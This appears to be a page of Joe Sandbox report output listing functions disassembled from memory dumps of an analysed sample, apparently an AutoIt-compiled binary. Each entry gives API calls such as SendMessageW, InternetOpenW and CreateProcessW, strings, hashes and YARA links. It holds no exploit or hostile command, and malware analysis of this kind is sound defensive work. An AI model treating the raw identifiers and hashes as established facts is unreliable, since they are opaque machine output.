Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: 6504a464ad744481ce6bc1c71c4353ab51ac4f53e5ce451b4dcbbfd06c50b848
Instruction ID: c37695e7c6495bd4cf173a8bd49a7f6be104d61c1680c0f4ab2c6caa4d0fecf0
Opcode Fuzzy Hash: 6504a464ad744481ce6bc1c71c4353ab51ac4f53e5ce451b4dcbbfd06c50b848
Instruction Fuzzy Hash: D521D462A0864245FB688B2DE4B01B82650EB87F74F280335D76E833D9CE39DD81C300

Function 00007FF6B5BCA0C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B2932C: CreateWindowExW.USER32 ref: 00007FF6B5B293BC
Part of subcall function 00007FF6B5B2932C: GetStockObject.GDI32 ref: 00007FF6B5B293D9
Part of subcall function 00007FF6B5B2932C: SendMessageW.USER32 ref: 00007FF6B5B293EC

GetWindowRect.USER32 ref: 00007FF6B5BCA18B
GetSysColor.USER32 ref: 00007FF6B5BCA1B2

Strings

static, xrefs: 00007FF6B5BCA10B

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 2cf77c951f50a5aa7b90eeaf8a6614b83960d367aa0043a5ee29e49d78538776
Instruction ID: 4bf66cd9c7aa7e6b693f378af3d49e7d6507cb23088ceb84bc527244ea159d0a
Opcode Fuzzy Hash: 2cf77c951f50a5aa7b90eeaf8a6614b83960d367aa0043a5ee29e49d78538776
Instruction Fuzzy Hash: B1311C36A087818BD764CF29E454B9AB7A5F789B50F104239DB9D43B99DF38E851CF00

Function 00007FF6B5BC9868 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B2932C: CreateWindowExW.USER32 ref: 00007FF6B5B293BC
Part of subcall function 00007FF6B5B2932C: GetStockObject.GDI32 ref: 00007FF6B5B293D9
Part of subcall function 00007FF6B5B2932C: SendMessageW.USER32 ref: 00007FF6B5B293EC

SendMessageW.USER32 ref: 00007FF6B5BC994F
SendMessageW.USER32 ref: 00007FF6B5BC9963

Strings

Combobox, xrefs: 00007FF6B5BC9905

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Combobox
API String ID: 1025951953-2096851135
Opcode ID: 64d9c3cb7b5de17515fad991fab36aed20c74e14fc7f9fd3c19d97b8fd4a0418
Instruction ID: e0a666ac00919e2545acef07fcbec6f1a3ee77529c5c1e02efe4e311e8c56d46
Opcode Fuzzy Hash: 64d9c3cb7b5de17515fad991fab36aed20c74e14fc7f9fd3c19d97b8fd4a0418
Instruction Fuzzy Hash: B73107326087818AE7708F59A454B9AB7A1F785B90F504239EBA943B9ACF3DD845CF00

Function 00007FF6B5BC9BD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32 ref: 00007FF6B5BC9CB6
SendMessageW.USER32 ref: 00007FF6B5BC9CCA

Strings

edit, xrefs: 00007FF6B5BC9C24

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 7385061f885e14c89e765babf531e3acc6228f8566b1a940e972c4d460c7f125
Instruction ID: bb2f9c207ec6dd00216a2541d078d2592a1bd009cda07128908f5bac3f591b8f
Opcode Fuzzy Hash: 7385061f885e14c89e765babf531e3acc6228f8566b1a940e972c4d460c7f125
Instruction Fuzzy Hash: FC31FA36A08781CAE760CB19A45479AB7A1F785B90F144235EBA883B9DDF3CD885CF05

Function 00007FF6B5B5FD90 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF6B5B5FEA2

Strings

pow, xrefs: 00007FF6B5B5FE91
", xrefs: 00007FF6B5B5FE7B

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _handle_error
String ID: "$pow
API String ID: 1757819995-713443511
Opcode ID: 2773d63829b6bc9e243f88705d039ab02ec385488ae35a30c1ce332e33ed45c5
Instruction ID: 05cfe6405998414d9a99930e4a19fd8b25adac252bf7364a3d0461db9177d7e0
Opcode Fuzzy Hash: 2773d63829b6bc9e243f88705d039ab02ec385488ae35a30c1ce332e33ed45c5
Instruction Fuzzy Hash: D3217EB2D1CAC583D370CF14F0546AAEAA1FBDA744F202325FB894695ACFBDD4819B00

Function 00007FF6B5B8DDF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B90730: GetClassNameW.USER32 ref: 00007FF6B5B9075B

SendMessageW.USER32 ref: 00007FF6B5B8DE7F

Strings

ComboBox, xrefs: 00007FF6B5B8DE0B
ListBox, xrefs: 00007FF6B5B8DE42

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: 97deb16edf8e784fc52f0d006fa99df0b5c043f3f1d7c65ec9baf9ca6ee38585
Instruction ID: a23f0d85d87c73aeb1bf8882398ec3a88d5b3c8c01289d32ff2033c5ba1c3d0b
Opcode Fuzzy Hash: 97deb16edf8e784fc52f0d006fa99df0b5c043f3f1d7c65ec9baf9ca6ee38585
Instruction Fuzzy Hash: EF11D262A08B8191FA10DB19D4611E923A1FB9AFA0F445231DBAC877DFDF3CE909C750

Function 00007FF6B5B8DD48 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B90730: GetClassNameW.USER32 ref: 00007FF6B5B9075B

SendMessageW.USER32 ref: 00007FF6B5B8DDCE

Strings

ComboBox, xrefs: 00007FF6B5B8DD5D
ListBox, xrefs: 00007FF6B5B8DD92

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: d39c91620d6c6e447856c574b1c807ce734865e57223a48666476f59d2f3e294
Instruction ID: 13bc7a9b5e3f4f1b595f6704da1afec64d555d46248adafad33eda585be19bb7
Opcode Fuzzy Hash: d39c91620d6c6e447856c574b1c807ce734865e57223a48666476f59d2f3e294
Instruction Fuzzy Hash: 36119361A0868692FA10D714E4611FA5750BF96B80F445131D78D8768FDE2CDA058B10

Function 00007FF6B5B8DCA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B90730: GetClassNameW.USER32 ref: 00007FF6B5B9075B

SendMessageW.USER32 ref: 00007FF6B5B8DD26

Strings

ComboBox, xrefs: 00007FF6B5B8DCB5
ListBox, xrefs: 00007FF6B5B8DCEA

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: 2b6fed8ad632b1f274e203d646578af3038472905804e24f6343927dca18ccae
Instruction ID: 2981fa35c9a44aea7d58a083ab30ceda9ac4c8e0fd20f7a33bb15de22563acb1
Opcode Fuzzy Hash: 2b6fed8ad632b1f274e203d646578af3038472905804e24f6343927dca18ccae
Instruction Fuzzy Hash: 0A11B662B0C68291FB10DB14E4611FA6360FF8AB80F445031D78C8768FDF2CDA09CB10

Function 00007FF6B5BAE708 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 00007FF6B5BAE772
InternetSetOptionW.WININET ref: 00007FF6B5BAE7A4

Strings

<local>, xrefs: 00007FF6B5BAE749

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 8fc137a1ef2bd80f32763a254e30885bf035247cf28a45f4fd96fdfcbffecfa0
Instruction ID: cc6636210ae44878ac48faabf33e3b97b05c718a6750cd65ad9a4f28a457cba8
Opcode Fuzzy Hash: 8fc137a1ef2bd80f32763a254e30885bf035247cf28a45f4fd96fdfcbffecfa0
Instruction Fuzzy Hash: 4B115836A18A4182F7518B19E5147FD6261E786F48FA44035DB4D866DDDF3DDC86C700

Function 00007FF6B5BCFEA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 00007FF6B5BCFF29
CloseHandle.KERNEL32 ref: 00007FF6B5BCFF3A

Strings

, xrefs: 00007FF6B5BCFF01

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-3916222277
Opcode ID: 7b42f129ca5b2bc2214f050bb36978d190a1a5278d42b1070c82c133f3bdff27
Instruction ID: 3f8ac3a4d543744836e22c952f8a6e39a5ae4d266fd7484bf1113df14b43cd69
Opcode Fuzzy Hash: 7b42f129ca5b2bc2214f050bb36978d190a1a5278d42b1070c82c133f3bdff27
Instruction Fuzzy Hash: D6117332A0875186E710CF2AF81459A76F2FB85F84F444139DB4D87A6ACF3DD890CB00

Function 00007FF6B5B8DEA8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B90730: GetClassNameW.USER32 ref: 00007FF6B5B9075B

SendMessageW.USER32 ref: 00007FF6B5B8DF26

Strings

ComboBox, xrefs: 00007FF6B5B8DEB5
ListBox, xrefs: 00007FF6B5B8DEEA

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: 2fa39eb79566fbbf5ef709d97066772d08e715fc924eaba82c6fe28b878daa18
Instruction ID: 54ee3c6f6853a9309f3fa0fd33b6e6cbb1090dc205094ce9b7f51e113cdcf04e
Opcode Fuzzy Hash: 2fa39eb79566fbbf5ef709d97066772d08e715fc924eaba82c6fe28b878daa18
Instruction Fuzzy Hash: 01016122A1C94292FA20D718E5B11F95360EF9AB94F405131E78D87A9FDE6CEA08CB11

Function 00007FF6B5B615B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF6B5B6158E

Part of subcall function 00007FF6B5B5FA90: _ctrlfp.LIBCMT ref: 00007FF6B5B5FACB
Part of subcall function 00007FF6B5B5FA90: _raise_exc.LIBCMT ref: 00007FF6B5B5FB37

Strings

!, xrefs: 00007FF6B5B61576
tan, xrefs: 00007FF6B5B615BA

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _ctrlfp_handle_error_raise_exc
String ID: !$tan
API String ID: 3384550415-2428968949
Opcode ID: 2d553fd115d33d3a807ffc94b8434da97490ee8f564b276a29f6e1ed56bbbb66
Instruction ID: 06f92849673192aa0e90bebfbac5ec6a122d5232d70cf624c94e9b0bbd0c426c
Opcode Fuzzy Hash: 2d553fd115d33d3a807ffc94b8434da97490ee8f564b276a29f6e1ed56bbbb66
Instruction Fuzzy Hash: 1D018471A28B8541DA15CF16A42037AA162FB9ABD4F105335EA5E0BB89EF7CD5508B00

Function 00007FF6B5B614FC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF6B5B6158E

Part of subcall function 00007FF6B5B5FA90: _ctrlfp.LIBCMT ref: 00007FF6B5B5FACB
Part of subcall function 00007FF6B5B5FA90: _raise_exc.LIBCMT ref: 00007FF6B5B5FB37

Strings

!, xrefs: 00007FF6B5B61576
sin, xrefs: 00007FF6B5B61502

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _ctrlfp_handle_error_raise_exc
String ID: !$sin
API String ID: 3384550415-1565623160
Opcode ID: 9c5650ba25f23863d1585264c289844e213b1bc1e7bffeede2023515f4cd1262
Instruction ID: 6bd378f71def43940d5911755403240993a370fdca34d6f416b3c33ee2ba9b30
Opcode Fuzzy Hash: 9c5650ba25f23863d1585264c289844e213b1bc1e7bffeede2023515f4cd1262
Instruction Fuzzy Hash: 4B01B571E28BC541DA15CF26942037AE262BF9BBD4F104335EA5A0AB8DEF6DD4404B00

Function 00007FF6B5B614E8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF6B5B6158E

Part of subcall function 00007FF6B5B5FA90: _ctrlfp.LIBCMT ref: 00007FF6B5B5FACB
Part of subcall function 00007FF6B5B5FA90: _raise_exc.LIBCMT ref: 00007FF6B5B5FB37

Strings

!, xrefs: 00007FF6B5B61576
cos, xrefs: 00007FF6B5B614EE

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _ctrlfp_handle_error_raise_exc
String ID: !$cos
API String ID: 3384550415-1949035351
Opcode ID: 59a2c881f09cdb696690f699cc12801b637b051dbcc35695dacf0c08331e8fc0
Instruction ID: ae07e90a691840ca771a941890623f7ba17db0bdced4980219b215c17c6aaea3
Opcode Fuzzy Hash: 59a2c881f09cdb696690f699cc12801b637b051dbcc35695dacf0c08331e8fc0
Instruction Fuzzy Hash: BC01B571E29B8981DA15CF26A42037AA162BF9BBD4F104335EA5A0AB8DEF7DD4504B00

Function 00007FF6B5B61370 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF6B5B613F6

Strings

exp, xrefs: 00007FF6B5B613E5
", xrefs: 00007FF6B5B613CF

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _handle_error
String ID: "$exp
API String ID: 1757819995-2878093337
Opcode ID: 1dd5b4e450707440dd9d18b5c78d2e187119c4904f0596c8cb375bf303972248
Instruction ID: 3998e17650f530b86d2ef299ca4602b9b91d420328226c55e80e1a68c0e1d8e9
Opcode Fuzzy Hash: 1dd5b4e450707440dd9d18b5c78d2e187119c4904f0596c8cb375bf303972248
Instruction Fuzzy Hash: 8401A176D29B8886E221CF28D0492AABBB0FFEA744F205315E7451AA65DB7DD4819F00

Function 00007FF6B5B8C59C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF6B5B8C5B6

Strings

Error allocating memory., xrefs: 00007FF6B5B8C5AD
AutoIt, xrefs: 00007FF6B5B8C5A6

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: f1d0e9594dbd70012e5d94681f3f0c05ed3699d04d903328bffb77d45b4c69ef
Instruction ID: 7888730480efdc609ef7e01564c1c02ec76a03b1f0377a853f92a666c5e4b9be
Opcode Fuzzy Hash: f1d0e9594dbd70012e5d94681f3f0c05ed3699d04d903328bffb77d45b4c69ef
Instruction Fuzzy Hash: 24F0A020B1834A42EB286759B1763F92251AF4AB80F545435DB0D8BBDFCDADD8D68700

Function 00007FF6B5B475C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF6B5B475E9
TlsSetValue.KERNEL32(?,?,?,00007FF6B5B47241,?,?,?,?,00007FF6B5B4660C,?,?,?,?,00007FF6B5B44CD3), ref: 00007FF6B5B47600

Strings

FlsSetValue, xrefs: 00007FF6B5B475CD, 00007FF6B5B475D6

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 5ef202829eb63c082d646b2b3c40b210c8e2726f911b0f602dea3cecf0443926
Instruction ID: 222e9c4d5acb71b20cbc9f89db7e6d097444724639762021485d7a585fbadaec
Opcode Fuzzy Hash: 5ef202829eb63c082d646b2b3c40b210c8e2726f911b0f602dea3cecf0443926
Instruction Fuzzy Hash: EDE06561A0854282EB554F5DE4604F42362AF49F91F585035DB0D862DFCE7CEC49C600

Function 00007FF6B5B45620 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6B5B45629
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6B5B4563A

Part of subcall function 00007FF6B5B47018: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5B4563F), ref: 00007FF6B5B4708D
Part of subcall function 00007FF6B5B47018: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6B5B4563F), ref: 00007FF6B5B470BF

Strings

Unknown exception, xrefs: 00007FF6B5B45645

Memory Dump Source

